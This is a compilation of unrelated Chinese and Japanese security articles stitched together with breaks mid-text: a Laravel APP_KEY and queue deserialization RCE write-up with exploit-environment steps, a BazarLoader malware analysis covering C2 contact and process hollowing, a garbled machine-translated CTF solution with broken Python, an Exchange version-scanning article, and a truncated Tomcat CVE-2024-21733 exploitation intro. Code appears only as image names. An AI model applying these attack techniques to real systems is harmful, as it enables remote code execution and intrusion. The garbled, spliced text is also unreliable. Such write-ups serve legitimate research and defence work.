過去的攻擊媒介讓我們首先快速了解一下過去Laravel是如何通過不安全的反序列化被利用的。在5.6.30版本之前,Laravel默認對Laravel會話cookie進行序列化和反序列化。與許多其他語言一樣,這為反序列化攻擊打開了大門。

一旦攻擊者獲得對APP_KEY 的訪問權限,他們還可以將任意對象簽名或加密為cookie。攻擊者可以簡單地使用已知的PHP 小工具鏈(例如PHPGGC)創建一個惡意序列化對象,對惡意對象進行簽名,然後將其發送到會話cookie 的位置。 Laravel 試圖反序列化惡意製作的會話cookie,並觸發了小工具鏈的安全相關副作用(通常是RCE)。

在2018 年8 月發布的Laravel v5.6.30 之前,這種利用路徑是可能的。

負責解密cookie的代碼(Laravel 5.4)可以在以下中間軟件代碼片段中找到。中間軟件提取cookie,並將它們發送到加密器類進行解密。

1.png

乍一看,這段代碼似乎還不錯。然而,decrypt()函數有第二個默認參數unserialize=true(請參閱Laravel API 文檔),它定義了在解密過程中必須對傳遞的(加密的)值進行反序列化。

2.png

可以看到,解密後Laravel 嘗試反序列化攻擊者控制的cookie(惡意序列化對象),這會觸發PHPGGC 小工具鏈的安全相關副作用。現在cookie 處理行為已經改變,Laravel調用解密函數時無需對內容進行反序列化。這可以防止先前已知的帶有洩露APP_KEY 的簡單利用路徑:

3.png

目前的利用由於現在的利用並不那麼簡單,我們需要一些其他的攻擊媒介。

濫用其他不安全的“decrypt()”調用在理想的攻擊場景中,易受攻擊的Laravel 應用程序仍然會簡單地反序列化一個用戶控制的對象,該對象受APP_KEY 的篡改保護。當我們分析一些流行的Laravel 應用程序和擴展時,我們注意到一些開發人員犯了與Laravel 的會話cookie 相同的錯誤。因為“decrypt(…)”函數默認反序列化對象,所以開發人員很容易忽略將攻擊者控制的加密內容輸入其中,即使他們並不期望得到PHP對象。

例如,Laravel Package 的OPcache 就是這種情況,這是一個幫助開發人員處理PHP OPcache 的插件。該軟件包安裝了一個中間軟件控制器,用於處理對laravel-opcache 的所有請求。 opcache 處理程序通過提取和解密密鑰URL 參數來執行授權檢查。這是通過使用默認的“解密”函數而不禁用值的反序列化來完成的。在以下代碼片段的第13 行中,可以看到如何使用默認值$unserialize=true 解密密鑰值。

4.png

如果攻擊者知道APP_KEY ,他們可以通過以下方式利用易受攻擊的Laravel 實例:

1.創建惡意的序列化PHP對象;

2.使用洩漏的APP_KEY加密對象;

3.將有效負載發送到易受攻擊的opcache處理程序:https://

4.應用程序將嘗試不安全地解密攻擊者控制的對象。

利用Laravel 隊列以下漏洞利用路徑在Laravel 8 和Laravel 9.2.0 上進行了測試。

按照設計,Laravel 隊列需要在(外部)隊列提供程序中臨時存儲任務和對象。為了防止在靜止時被篡改,這些對象的部分簽名都是使用APP_KEY的。

在研究中,我們發現Laravel 在簽名驗證檢查之前不安全地處理隊列對象。這允許任何可以訪問配置隊列(例如AWS SQS 訪問)的攻擊者獲得遠程代碼執行,即使不知道APP_KEY。

要理解這個問題,我們需要對隊列對象結構有一個大致的了解。通常,隊列對象包含以下(對我們來說很重要)元素:

job -將作業排隊的類;

data -保存我們將執行的實際隊列命令的數據對象;

data.commandName -命令的名稱;

data.command -作為序列化對象的實際命令;

data.command.hash - data.command 的簽名,防止篡改。

5.png

命令對象包含一個哈希,它確保序列化的對像沒有被篡改。但是,由於哈希是序列化PHP 對象的一部分,因此只能在對象未序列化後執行此檢查。

因此,在執行對命令對象的非序列化調用時沒有事先進行任何驗證,這導致了不安全的反序列化漏洞。

隊列命令的不安全反序列化攻擊者可以通過將惡意作業注入Laravel 隊列來利用命令對象的不安全反序列化。

我們使用Laravel 框架本身實現了一個PoC 漏洞利用,這樣我們就可以輕鬆地重用該功能而無需大量複製粘貼。在Laravel 中,你可以使用dispatch 函數將對象分派到隊列中,如下面的代碼片段所示。

6.png

隊列對像在Illuminate 類Illuminate\Queue\Queue 中處理。此類處理隊列對象的創建,該隊列對象將被序列化並稍後發送到隊列中。出於利用目的,我們可以修復createObjectPayload() 函數。在修復的函數中,我們將合法的命令對象替換為惡意製作的序列化對象。

7.png

在示例中,我們使用了來自PHP 反序列化庫PHPGGC 的PendingBroadcast Gadget 鏈(Laravel/RCE9)。

特別是,我們使用了這個鏈,因為它在所有最近的Laravel版本中都有效,並且在鏈中使用了魔術方法__destruct。基於__toString 魔術方法的小工具鏈不起作用,因為Queue 處理程序從不將我們的惡意Queue 對像作為字符串處理,因此不會觸發這些鏈。

如果我們現在看一下作業對象,我們將在命令部分看到我們的反序列化小工具。因為我們以一種非常快速和不方便的方式替換了命令對象,所以對像沒有使用哈希簽名。然而,這無關緊要,因為一旦命令被反序列化,目標就會被利用。

微信截图_20220921100706.png

此時我們只需要等到目標處理隊列中的惡意作業即可。在此過程中,應用程序將嘗試通過從作業對像中反序列化命令對象來獲取命令對象。以下代碼片段顯示瞭如何在作業命令上調用反序列化函數。

請注意,Laravel 還允許用戶使用加密的命令對象。如前所述,加密或解密需要有效的APP_KEY 才能利用。但是,只要我們的命令以字符串O: 開頭(表示序列化PHP 對像中的“對象”),Laravel 將始終嘗試以明文形式反序列化我們的攻擊者控制的命令(第4-6 行)。

9.png

攻擊者控制的命令成功反序列化後,隊列例程繼續。稍後,Laravel 注意到命令對像沒有預期的格式。應用程序將拋出異常,然後嘗試清理無效的惡意對象。在清理過程中,我們的小工具鏈的魔術方法__destroy 被調用,攻擊者控制的命令touch /tmp\/pwnedThroughQueue 被執行。

10.webp.jpg

總而言之,Laravel 在調用對象的反序列化之前不會驗證隊列作業中的命令對象。因此,有權訪問隊列(SQS、Redis 等)的攻擊者可以在不知道APP_KEY 的示例中獲得RCE。如果攻擊者通過不公開APP_KEY 的漏洞獲得對隊列的訪問權限,則這種攻擊場景特別有趣。 (例如,隊列連接的硬編碼或易於猜測的憑據,或洩露的AWS 訪問令牌)。

利用由於隊列閉包的任意作用域此漏洞利用路徑也適用於Laravel 隊列閉包。閉包是“需要在當前請求週期之外執行的簡單任務”,它們允許攻擊者通過隊列執行任意PHP 代碼。

然而,在本例中,攻擊者需要訪問隊列和APP_KEY。如果Laravel 環境文件被公開,則通常會滿足這些條件,因為該文件包含所有必要的信息。與前面的示例不同,這種方法不依賴於反序列化,因此如果沒有可用的小工具鏈可用,它也可以工作。

如下所示,可以使用以下代碼片段將閉包分派到隊列中:

11.png

我們首先假設隊列閉包通常期望在用戶定義的類上運行,在用戶定義的作用域內,例如Podcast 類或Newsletter 類。此外,我們認為隊列閉包中的函數需要實際存在。然而,這兩個假設都是錯誤的。只要隊列關閉作業中的作用域存在,攻擊者就可以執行任意PHP 代碼。

作為概念證明,我們修改了現有的供應商類(在我們的攻擊者環境中)Illuminate\Cookie\Middleware\EncryptCookies 以包含我們的惡意sendMaliciousClosure() 函數。 EncryptCookies 類應該存在於所有Laravel 項目中,因此作用域應該始終存在。請注意,我們也可以通過反射手動更改前面提到的作業對象內的作用域。

首先,我們更改EncryptCookies 類,如以下代碼片段(第11-18 行)所示。這樣,我們定義了一個閉包,它只是調用shell_exec 來執行任意操作系統命令。然後這個閉包作為作業被分派到配置的Laravel 隊列中。

12.png

我們的惡意關閉可以通過我們自己的Laravel Artisan 命令發送,如以下代碼片段所示。請注意,我們在EncryptCookies 作用域內靜態調用函數sendMaliciousClosure。這很重要,因為此作用域也需要存在於目標應用程序中。

13.png

在作業調度期間,隊列閉包被創建並使用洩露的APP_KEY 簽名。下面我們可以看到存儲在隊列中的序列化作業。我們的SerializableClosure 可以在命令對像中找到。

當我們向隊列發送一個閉包時,所有需要的函數定義都包含在閉包中:

14.png

同樣,一旦目標應用程序檢索到隊列對象,它就會嘗試(不安全地)反序列化命令對象。完成此操作後,Laravel 使用APP_KEY 驗證哈希。驗證哈希後,Laravel 將嘗試解析作用域App\Http\Middleware\EncryptCookies。如果此作用域存在,則執行攻擊者控制的閉包或代碼。這可以立即得到驗證,因為攻擊者控制的echo 是從目標隊列工作人員的上下文中調用的。

15.webp.jpg

特別是考慮到閉包,值得一提的是,Laravel並不期望通過隊列接受什麼。開發人員唯一需要的設置是Laravel Queue的配置。一旦配置了這個隊列,Laravel就不會檢查它應該處理哪些隊列功能,而是Laravel 會嘗試處理它通過隊列提供的所有內容。該代碼不區分用於處理排隊閉包的隊列或應該只處理Newsletter 類對象的隊列。

開發工具包/測試環境為了驗證這些漏洞,我們創建了一個小型Laravel 測試和利用環境。

你可以按照以下步驟設置環境:

複製測試環境存儲庫:

16.png

手動安裝composer 依賴項(這應該不需要,但我們過去遇到了一些問題):

17.png

設置測試環境:

laravel_victim_app 和laravel_exploit_scope_app 需要有相同的APP_KEY;

laravel_queue_exploit_client_laravel_exploit_1 會有一個隨機的APP_KEY;

你可以在相應的.env 文件中編輯APP_KEY 變量;

所有三個環境文件都需要設置相同的AWS SQS。可以在此處找到有關如何設置的教程。

18.png

為了利用目標,應用程序需要監聽/工作配置的隊列。這可以使用以下命令完成:

微信截图_20220921100325.png

然後可以使用漏洞利用客戶端發送有效負載。以下命令會將作業發送到隊列中,這將利用命令的不安全反序列化:

微信截图_20220921100351.png

下一個命令將通過隊列閉包執行任意PHP 代碼:

微信截图_20220921100414.png

你將看到目標定期處理傳入隊列。成功的利用應該在目標文件系統的/tmp/目錄中創建文件:

22.png

如果你想檢查哪些代碼片段已更改,可以使用grep 查找字符串“惡意更改”(Malicious Changes),該字符串表示在客戶端中更改的代碼段。

23.png

創建惡意簽名URL另一個不太嚴重的利用場景可能是創建簽名URL。使用簽名URL,開發人員可以驗證請求的URL 是否未被篡改。這可以用於各種示例。 Laravel 在官方文檔中描述的一個示例是將簽名URL 用於“取消訂閱”鏈接。在本示例中,簽名鏈接通過驗證防篡改URL的簽名來防止用戶取消訂閱其他鏈接。

大多數示例中,與其他APP_KEY 攻擊向量相比,創建簽名URL 的影響相對較小。但是,讓開發人員依賴簽名URL 來彌補輸入驗證的不足也是可行的,例如防止SQL 注入或IDOR 漏洞。

從以下代碼示例中可以看出,簽名URL 創建過程非常簡單,可以在Laravel Artisan 命令中輕鬆創建:

24.png

總結雖然獲得對洩露的APP_KEY 的訪問權限不再是代碼執行的保證,但仍有許多攻擊場景可以將此目標存檔。

大多數示例中,洩露的APP_KEY 本身不足以利用應用程序。攻擊者總是需要額外的錯誤

我會在本文介紹這個加載程序的最後進程,它能夠下載和執行遠程有效負載,例如CobaltStrike和Conti勒索軟件。 BazarLoader是基於Windows的惡意軟件,主要通過電子郵件等方式傳播。

第1步:檢查系統語言與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。

它調用GetSystemDefaultLangID來檢索系統的默認語言,並調用GetKeyboardLayoutList來遍歷系統的鍵盤佈局。

1.png

對於每一種語言,惡意軟件都會使用位掩碼檢查其是否有效。

如果語言標識符大於0x43或小於0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。

如果它在0x18和0x43之間的範圍內,語言標識符和0x18之間的差異被用作位掩碼中要檢查的位的索引。

BAZARLOADER使用的位掩碼是0xD8080190C03,即二進制的11011000000010000000000110010000110000000011。如果語言ID為0x18,則檢查位掩碼中的第一位。如果語言ID為0x19,則檢查第二位,依此類推……

2.png

以下是惡意軟件避免的位掩碼中所有語言的列表。

3.png

第2步:互斥對象為了檢查自身的多個運行實例,BAZARLOADER首先從其進程中提取SID的子權限。它通過調用GetTokenInformation來檢索進程的令牌完整性級別並調用GetSidSubAuthorityCount和GetSidSubAuthority來訪問SID的子權限來實現這一點。

4.png

如果SID的子權限是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER通過調用CreateMutexA檢查互斥鎖“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”當前是否由任何其他進程擁有。

如果是,惡意軟件會自行終止。但是,檢查互斥對像是否存在的條件存在一個小錯誤,它假定它在實際成功時無法打開互斥對象。

5-.png

此後,惡意軟件解析字符串“{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}”並嘗試使用該名稱創建互斥鎖。

6-.png

如果這個互斥對像已經存在,惡意軟件也會自行終止。

如果SID的子權限不是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER仍然使用這兩個互斥對象名稱,但在它們前面添加字符串“Global\”。這將檢查全局命名空間中的互斥鎖,而不是每個會話命名空間,這允許惡意軟件檢查它是否有在其他用戶的會話中運行的實例。

第3步:生成隨機Internet流量為了生成Internet活動以隱藏其與C2服務程序的通信,BAZARLOADER首先調用InternetOpenA以使用以下字符串作為HTTP用戶代理來初始化WinINet函數的使用。

5.png

然後,惡意軟件會生成一個線程以定期連接到隨機URL,並利用以下結構生成噪音以隱藏主要的C2流量。

6.png

首先,BAZARLOADER調用InitializeCriticalSection來初始化結構的臨界區對象,該對象稍後用於保護對creation_flag字段的訪問。

接下來,它設置self字段指向結構,creation_flag字段為TRUE,並調用CreateThread生成一個線程來執行這些隨機Internet操作。如果創建線程失敗,creation_flag字段設置為FALSE。

線程首先嘗試獲取臨界區對象的所有權並檢查是否啟用了創建標誌。如果是,惡意軟件會將以下URL解析為堆棧字符串。

7.png

接下來,線程進入一個無限循環,開始產生通訊噪音。對於隨機數生成,BAZARLOADER使用不同的函數調用Windows API BCryptGenRandom來生成一組隨機字節。

它隨機選擇上面列出的4個URL之一,隨機生成URL路徑段,然後將兩者結合起來構建完整的URL。

8.png

在生成路徑段時,該函數取生成的路徑段的最小和最大數量,以及每個路徑段的最小和最大長度。

它在給定範圍內隨機生成路徑段的計數。對於每個段,惡意軟件隨機生成一個字符串,該字符串在給定範圍內具有隨機長度,其中包含數字和大寫/小寫字母。

9.png

最後,惡意軟件調用InternetOpenURLA與生成的URL建立連接。它使用HTTP_QUERY_CONTENT_LENGTH標誌調用HTTPQueryInfoA以檢索內容的長度,分配具有該大小的緩衝區,並調用InternetReadFile從該URL讀取數據。

10.png

這會重複進行,直到C2通信和有效負載注入完成,這會產生大量噪音來掩蓋進出C2服務程序的主要流量。

第4步:密碼結構集群BAZARLOADER主要使用以下結構與C2服務程序進行通信。我們將在分析代碼時解釋結構的字段。

8-.png

首先,它填充主結構中的crypto_struct字段。此結構包含稍後用於解密從C2服務程序發送的可執行文件的加密句柄。

結構可以重構如下:

9-.png

這個惡意軟件會解析字符串“RSA”和“SHA384”,並調用BCryptOpenAlgorithmProvider來獲取這兩個算法的句柄。句柄存儲在crypto_struct結構中的相應字段中。

10-.png

接下來,它解析內存中硬編碼的RSA公鑰和私鑰blob,以導入相應的密鑰句柄。

11-.png

對於每個blob,惡意軟件會解析字符串“RSAFULLPRIVATEBLOB”或“RSAPUBLICBLOB”,並使用它指定blob的類型時調用BCryptImportKeyPair導入相應的密鑰句柄。

12-.png

最後,它調用BCryptGetProperty來檢索RSA公鑰和私鑰密碼塊的長度。在完全填充了這個結構之後,BAZARLOADER現在可以執行RSA加密/解密以及SHA384哈希。

第5步:通過原始IP地址進行C2連接在與C2服務程序通信之前,BAZARLOADER首先解析原始IP地址列表並將它們寫入主結構中的C2_addr_list字段。

該字段是一個表示字符串結構列表的結構,可以如下所示重新構建兩個字符串結構。

10.png

下面是此示例中使用的C2服務程序的所有IP地址的列表。

11.png

對於其中的每個地址,惡意軟件都會嘗試與相應的服務程序通信並下載下一階段的可執行文件。

要建立連接,它會填充以下結構。

12.png

惡意軟件調用InternetCrackUrlA來檢索C2的URL組件和InternetConnectA以連接到服務程序。

13.png

然後將此連接結構的字段複製到主結構的C2_connection_struct中。不過,我不完全確定他們為什麼不直接填充主要結構。

14.png

同樣,BAZARLOADER填充下面的結構以創建對C2的HTTP請求。請求的對象名稱和HTTP動詞被解析為“/data/service”和“GET”。

13-.png

請求的HTTP版本被解析為“HTTP/1.1”,並且BAZARLOADER調用HttpOpenRequestA來使用上面檢索到的連接句柄為C2服務器創建此請求。

它還調用InternetSetOptionA設置接收響應和發送請求的超時時間為300秒,連接C2的超時時間為120秒。

14-.png

BAZARLOADER然後生成附加到請求的HTTP標頭。它通過調用GetSystemTime來使用當前日期和時間填充主結構的curr_system_time和datetime_string字段來實現這一點。

它還生成日期時間字符串的SHA384哈希,以填充結構的datetime_string_hash和datetime_string_hash_len字段。

15-.png

接下來,BAZARLOADER通過調用BCryptSignHash使用其RSA私有簽名生成的哈希,並使用此哈希簽名隨機生成HTTP標頭。

下面是隨機HTTP標頭的形式。

BAZARLOADER的HTTP標頭

16-.png

使用生成的HTTP標頭和請求句柄,BAZARLOADER調用HttpSendRequestA將請求發送到C2服務程序並調用HttpQueryInfoA來檢索狀態碼。

如果狀態碼不是HTTP_STATUS_OK,惡意軟件會轉移到另一個C2地址。

17-.png

如果狀態碼為HTTP_STATUS_OK,BAZARLOADER調用InternetQueryDataAvailable確定要讀取的數據大小,根據大小分配內存緩衝區,並調用InternetReadFile讀取下一階段的有效載荷,直到所有內容都寫入內存。

18-.png

最後,惡意軟件通過調用BCryptDecrypt使用其RSA公鑰解密有效負載,並檢查以確保有效負載的大小大於64字節並且包含MZ標頭。

19-.png

第6步:通過自定義URL進行C2連接如果BAZARLOADER無法從上面列出的IP地址下載下一階段的可執行文件,它會嘗試使用用戶擁有的DNS社區服務OpenNIC解析自定義C2域。

為了開始查詢OpenNIC的API,惡意軟件首先解析URL“api.opennicproject.org”並調用InternetConnectA建立與該網站的連接。

20-.png

接下來,它調用HttpOpenRequestA以創建對象名稱為“/geoip/?bareipv=4wl=allres=8”的GET請求句柄,並使用HttpSendRequestA發送請求。

通過檢查OpenNIC的API,我們可以分解此對象名稱以查看BAZARLOADER請求的內容。其中“bare”參數只列出DNS服務器的IP地址,“IPv4”參數只列出IPv4服務器,“wl”參數只列出白名單服務器,“res”參數只列出8個服務器。

為了測試這一點,我們可以簡單地將下面的路徑粘貼到我們選擇的瀏覽程序中。

14--.png

然後惡意軟件進入循環調用InternetQueryDataAvailable和InternetReadFile來讀取8個OpenNIC的DNS服務器到內存中。

15--.png

對於每個DNS服務程序IP地址,BAZARLOADER將其從字符串解析為int並填充主結構中的opennic_server_struct字段。下面是用於存儲OpenNICIP地址的結構。

16--.png

最後,惡意軟件解碼以下自定義C2域,嘗試使用DNS服務程序解析它們,並下載下一階段的可執行文件。

17--.png

對於每個自定義域,BAZARLOADER調用DnsQuery_A從OpenNIC的服務程序查詢DNS資源記錄,以解析C2服務程序的IP地址。

18.png

在檢查IP地址是否有效後,惡意軟件會嘗試連接它並請求下載下一階段的可執行文件,類似於我們在上一步中看到的。

19.png

第7步:通過process hollowing技術注入成功下載下一階段可執行文件之後,BAZARLOADER開始注入功能,從另一個進程啟動它。

對於此功能,BAZARLOADER填充以下結構。

20.png

首先,它檢查它的進程是否被提升為管理權限。它調用GetCurrentProcess和OpenProcessToken來檢索自己的進程令牌句柄,並調用GetTokenInformation來獲取令牌的提升信息。

1。ミス

1。ホットポットチェーン観光チェックイン

開いた後、ウォレットを接続し、クリックしてゲームを開始し、質問に8回回答した後、NFTをクリックします。旗のある写真については何も言うことはありません。知識Q&Aの質問

v020kxwgqme580.png

NFTを引き換えます

tegum4x2vmy582.png

フラグ{y0u_ar3_hotpot_k1ng}

2.軌跡図

メソッド1:PyのNumpyおよびPandasライブラリを使用してNPZファイルを読み取り、CSVファイルとして保存します。コードは次のとおりです。npiportpandasとしてpdnp.set_printoptions(threshold=np.inf)a1=np.load( 'attachment.npz'、approw_pickle=true)print(a1.files)print( 'read:' '、a1)index=a1 [' index '' indec 'ind a1 [' index '' index '' indecl a1 ['output'] mytra=a1 ['trace']#print(mytra.shape)df=pd.dataframe(mytra)df.to_csv( 'data1.csv'、index=false)df1=pd.dataframe({'index''3360index、'入力': myin})df1.to_csv( 'data2.csv'、index=false)data1.csv、data2.csvを取得し、data.csvを取得するためにマージします。 data.csvをオープンすると、消費電力データが表示されます。 https://zhuanlan.zhihu.com/p/157585244によると、この質問の鍵は、インデックスの正しいパスワードである他の文字とは異なる文字を見つけることだと思います。これに基づいて、図に示すように4番目の文字などのExcelのラインチャート関数を使用して、在这里插入图片描述に、他の線とは異なる緑の線があることがわかります。

順番に繰り返してキー全体を取得します:_ciscn_2024_

つまり、フラグ:フラグ{_ciscn_2024_}

方法2:テストコード:Numpyをnpimportlib matplotlib.pyplotとしてpltmatplotlib.useとしてインポートします( 'tkagg')data=np.load( './attach.npz')print(data.files)aa=data [data.files [0]] bb=data [1 data [data [data [data] dd] data [data.files [3]] print(len(aa)、aa)print(len(bb)、bb)print(len(cc)、cc)print(len(dd)、dd)for i in reng(len(dd)): plt.scapter([i for i for i in dd [i])、DD NPZファイルからの4つのファイルの。出力は空です。他の3つのファイルの配列長はすべて520です。インデックスによると、各40を取得できます。合計で13の平文があるとほぼ判断しています。1049983-20241004225425375-1250230147.pngInputはテーブルです。1049983-20241004225426348-2102281765.pngOutputは空です。トレースのデータはすべて小数です。1049983-20241004225427236-1767167632.pngトレースのデータにドットプロットを描画してみてください:1049983-20241004225428016-911719087.pngデータの各セットの最大値に多くのポイントがあることを発見しました。

npdata=np.load( './attachment.npz')dd=date [data.files [3]] for i in range(len(dd)): min_index=np.argmin(dd [i])print(f'minimum index(f'minimum index for Group {i} 3360 {ver all_index '') '') 985、他のデータには他の異なる数値があります。1049983-20241004225429043-1156571575.png 40個のデータグループの最小値の添え字を使用して、グラフ分析を再度描画します。最大値は1つしかないことがわかったため、最大値の添え字を見つけ続け、入力テーブルから対応する文字を取得する必要があります:1049983-20241004225430234-1674052168.pngExp:

npimportmatplotlib.pyplotとしてnumpyをpltf=np.load( './attach.npz')index=f ['index'] ip=f ['input'] tr=f ['trace'] for _ in _ in _ in range(13): t=[] for _ for _ for _ in範囲(40):#各リストの散布図を描画し、最小値#plt.scatter([i for i for i in ren(tr [_*40+i])]]、tr [_*40+i])#plt.show() T.Append(min)#40リストの最小値の添え字をデータとして使用し、画像を描画し、範囲のIに最大値があることを見つけます(len(t)): plt.scatter([i for i for i in ren(t))]、np.array(t))plt.show()テーブルからind=table [mins]#flag +=indprint(flag)に文字を追加

GET:_CISCN_2024_A前のグループの最後のデータセットはすべて985であるため、最後のデータセットから取得されたAはAとしてカウントされません。最終フラグが取得されます:フラグ{_ciscn_2024_}

3。神秘的なファイル

メソッド1:究極の人形はぼやけており、実際にそれを探しています。 PPTファイルを取得し、接尾辞を.zipに変更して、DocPropsディレクトリの2つのXMLでPART1を見つけます。 app.xmlは、復号化アルゴリズムをプロンプトします。Core.xmlは、ciphertextとキーキーをプロンプトします。Cyberimageに移動します。 PPTから開くと、第2章の左上隅にある黒いピースです。ダブルクリックし、開いた後にすべてを選択し、色を変更し、色を変更し、Caesar Offset 10を復号化してからPART2 image imagePART3を取得します。私は本当にこれを長い間検索しました。その後、オンラインで検索したところ、PPTステガノグラフィは、VBAプロジェクト復号化と呼ばれるマクロとマクロスクリプトに関連している可能性があることがわかりました。最初にvbaproject.binを開いて、dpbバイトを見つけ、最後のビットをxに変更し、サフィックスを.zipに保存し、直接開き、含意のファイルを見つけます。 VBAフォルダーでモジュール1を開きます。image。暗号文を見つけました。それが何であるかはわかりませんが、プロンプトはBase64の後です。次に、最初にそれを復号化してから、文字化けしたコードを取得します。一般的に、特殊文字はよりRC4または腐敗しています。最後に、パスワードなしで復号化されていることがわかりました。次に、base64のレイヤーで復号化します。imagePART4は、PPTを直接開きます(メディアフォルダの写真で構成されているため)。 3番目の写真は、目に見える隠された文字を選択することです。私のコンピューターはデフォルトで自動的にそれを選択するため、直接表示できます。 base64デコードimagePART5は、第5章PPTのコメントにあります。直接サイバーシェフハットラン、マルチレイヤーベース64デコード、5番目のパートimagePART6は、5番目のPPTテキストの境界の左上隅にあります。メディアフォルダーをスケーリングまたは直接分解することができます。 base64デコードimagePART7は、PPT \スライドの下でSlides4.xmlにあり、ID4の位置を以下に促します。 rot13すべて、数字を含むことを意味します、base64デコードimage

PART8はナンピングのSlidelayout2.xmlにあります。最初はそれが何を意味するのか理解できませんでした。接続した後にのみ理解しました。つまり、上記の文字列からBB13を削除するためです。次に、base64デコードimage imagePART9メディアフォルダで直接、猫の男の写真の左下隅を見てください。

バージニア州コメント1.xmlのパート10は、デコードされています。キーは毛皮のようなimageです

要するに、最後のフラグはフラグです{e675EFB3-346F-405F-90DD-2222222B387EDEE9}メソッド2:最初に、いくつかのシンプルで簡単に見つけることができます。 Base64、バージニア州、シーザーなどをデコードするための迅速なルールに従ってください。PPTでは多くのことを見つけることができます:1049983-20241004225442421-920104914.png 1049983-20241004225443402-1060950235.png 1049983-20241004225444338-1660903503.png ZIPサフィックスを変更すると、世界ドキュメント:010-6926 1049983-20241004225446022-1338623161.pngで見つけます1049983-20241004225446869-378067329.png写真:1049983-20241004225447784-2112391753.png合計で、PART23360675EFBPAYT4:606F-40PART53:5F-90DPART6:D-2PART933333333333333333333333333333333333333333333333333333333333333333333333331049983-20241004225448650-1890017793.pngバイナリファイルi13pomdzeazhfy4dgs+vua==ここにbase64+rc4+base64 1049983-20241004225449476-43250540.png Get Part33:3-34pptファイル属性:010-695552 Ciphertext:qfpppppppppppppppq6zzmzzzzmmmmm32 bifldkey:lanjing;1049983-20241004225450869-712111176.png PART1:FLAGを取得{EPPTマスター:1049983-20241004225451627-339244211.png BB13を削除し、Base64 1049983-20241004225452517-437982105.png PART8336087E Select Pane:1049983-20241004225454299-719789787.png=1049983-20241004225454299-719789787.png最終フラグを取得するためのスプライシング:flag {e675EFB3-346F-405F-90DD-2222222222B387EDEE9}最後にシンボルのフラグを見つけます表imagebase64デコードしてフラグを取得するためにflag imageメソッド2:binwalkを使用してzlibファイルを分離し、コードは次のとおりです。 Open(input_fileName、 'rb')as compressed_file: compressed_data=compressed_file.read()decompressed_data=zlib.decompress(compressed_data)with open(output_filename、 'wb')as output_file.write.='35 .zlib'output_file='decompressed_data.txt'decompress_zlib_file(input_file、output_file)winhexを使用してdecompressed_data.txtを開いて、base64の後にエンコードされたフラグを見ることができます。在这里插入图片描述フラグを取得するためのデコード:

0x00 前言在上篇文章《渗透基础——Exchange版本探测和漏洞检测》 介紹了通過Python進行版本探測的兩種方法,在版本識別上,首先從官網獲得已知的版本信息,將版本信息存儲在列表中,然後通過字符串匹配的方式獲得Exchange版本的詳細信息。開源的代碼Exchange_GetVersion_MatchVul.py反饋很好。但是這個方法存在一個缺點:需要定期訪問官網,手動更新掃描腳本中的版本信息列表。

為了進一步提高效率,本文介紹另外一種實現方法,通過訪問官網,從返回數據中直接提取出詳細的版本信息,優點是不再需要定期更新腳本。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云通過BeautifulSoup解析網頁數據

马云惹不起马云實現細節

马云惹不起马云 開源代碼

0x02 通過BeautifulSoup解析網頁數據BeautifulSoup是一個可以從HTML或XML文件中提取數據的Python庫,可以提高開發效率。

安裝:

image.png

1.基本使用在Python實現上,需要先通過requests庫獲取網頁內容,再調用BeautifulSoup進行解析。

測試代碼:

image.png

以上代碼將會訪問https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁數據交由BeautifulSoup進行優化並顯示。

執行代碼的部分輸出結果示例:

image.png

對於以上結果,每個'tr'節點對應一個版本信息,子節點'td'為具體的版本細節。

2.只篩選出'tr'節點的內容測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,嘗試去除無效數據。

3.提取出版本信息測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,可以嘗試對精確版本進行匹配。

4.精確匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

對於Exchange較老的版本,無法獲得準確的版本號,所以還需要實現粗略匹配版本的功能。

5.粗略匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

6.提取出網頁數據時間為了能夠準確獲得版本信息,這裡還需要提取出網頁數據的更新時間。

標記網頁數據時間的位置:

image.png

定位該時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

提取出時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

結合以上信息,我們可以寫出新的識別Exchange版本的代碼,通過從官網讀取數據信息來獲得準確的版本,考慮自動化判斷多個目標的情況下,為了避免多次訪問網站讀取數據信息,在代碼結構上做了適當優化,只需訪問一次https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁結果保存在變量中。代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromWebsite.py

考慮到內網無法訪問官網的情況,實現了一個從本地解析網頁文件來獲得準確的版本,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromFile.py

可以先訪問官網並將網頁內容保存為exchange.data,再執行腳本Exchange_GetVersion_ParseFromFile.py即可

0x03 小結本文介紹了在Exchange版本識別上的優化方法,可以不必手動更新掃描腳本中的版本信息列表,開源代碼Exchange_GetVersion_ParseFromWebsite.py和Exchange_GetVersion_ParseFromFile.py

web

passwdstealer

序文

元々はpasswdstealerです:)

テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。

脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0

二度と繰り返しません。

スプリングブートシナリオでの使用

以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています

タイムアウトエラーをトリガーします。これにより、Reset()がサーバー()のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。

テスト環境:Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。

step1トリガータイムアウト

目的は、read()を投げるioexception 21pvd0dyvaw554.pngを作成することです

